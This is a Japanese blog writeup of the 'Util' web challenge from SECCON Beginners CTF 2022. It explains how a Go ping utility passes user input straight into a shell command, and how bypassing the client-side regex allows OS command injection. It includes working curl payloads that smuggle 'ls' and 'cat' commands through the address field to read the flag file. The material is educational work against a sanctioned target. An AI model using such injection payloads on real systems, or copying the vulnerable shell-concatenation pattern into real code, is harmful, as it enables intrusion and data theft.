SECCON Beginners CTF 2022 に参加してみた
SECCON Beginners CTF 2022とは
- NPO日本ネットワークセキュリティ協会(JNSA)内にあるSECCON実行委員会が主催しているCTFです。
- Beginnersと名の付いている通り、CTF初心者でも解くことができるような難易度の問題も出題されます。
Writeups
web - Util
サイトへのリンクと、そのサイトのdockerファイルが与えられています。
pingチェックができるサイトのようなので、試しに172.0.0.1を入力してみます。
フォームに入力した値をpingコマンドに渡しているように見えます。配布されているファイルを見てみると次のことがわかります。
# pages/index.html の37行目以降を抜粋して一部改変 <script> function send() { var address = document.getElementById("addressTextField").value; # ここでIPアドレスの正規表現にマッチするか判定している(マッチしないとエラー) if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) { var json = {}; json.address = address var xhr = new XMLHttpRequest(); xhr.open("POST", "/util/ping"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(json)); #----------- ping結果表示処理 ----------- } else { #----------- エラー表示処理 ----------- document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>"; } } ...
- POSTされた値は、pingコマンドの引数として渡される
# main.go のmain()部分を抜粋 func main() { r := gin.Default() r.LoadHTMLGlob("pages/*") r.GET("/", func(c *gin.Context) { c.HTML(200, "index.html", nil) }) r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) }) if err := r.Run(); err != nil { panic(err) } }
なお、Flagが書かれたファイルはDockerfile27行目に下記の記述があることから/(ルート)配下にあることがわかります
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
以上より、クライアントサイドの検証を回避して任意の文字列をPOSTすることで、OSコマンドインジェクションを起こせばFlagを取れそうとわかります。
下記のようにしてOSコマンドインジェクションをしてみます。
curl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1 >/dev/null; ls / | grep flag"}' | jq -r .result
実際にはサーバ上では下記のコマンドが実行されています。
ping -c 1 -W 1 127.0.0.1 >/dev/null; ls / | grep flag / 1>&2
結果、「flag_A74FIBkN9sELAjOc.txt」が表示され、flagファイルの名前が分かります。
最後に、このファイルを表示させればFlagをゲットです。
curl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1 >/dev/null; cat /flag_A74FIBkN9sELAjOc.txt"}' | jq -r .result
Flag = ctf4b{al1_0vers_4re_i1l}
更新履歴
- 2022/06/06 : 初版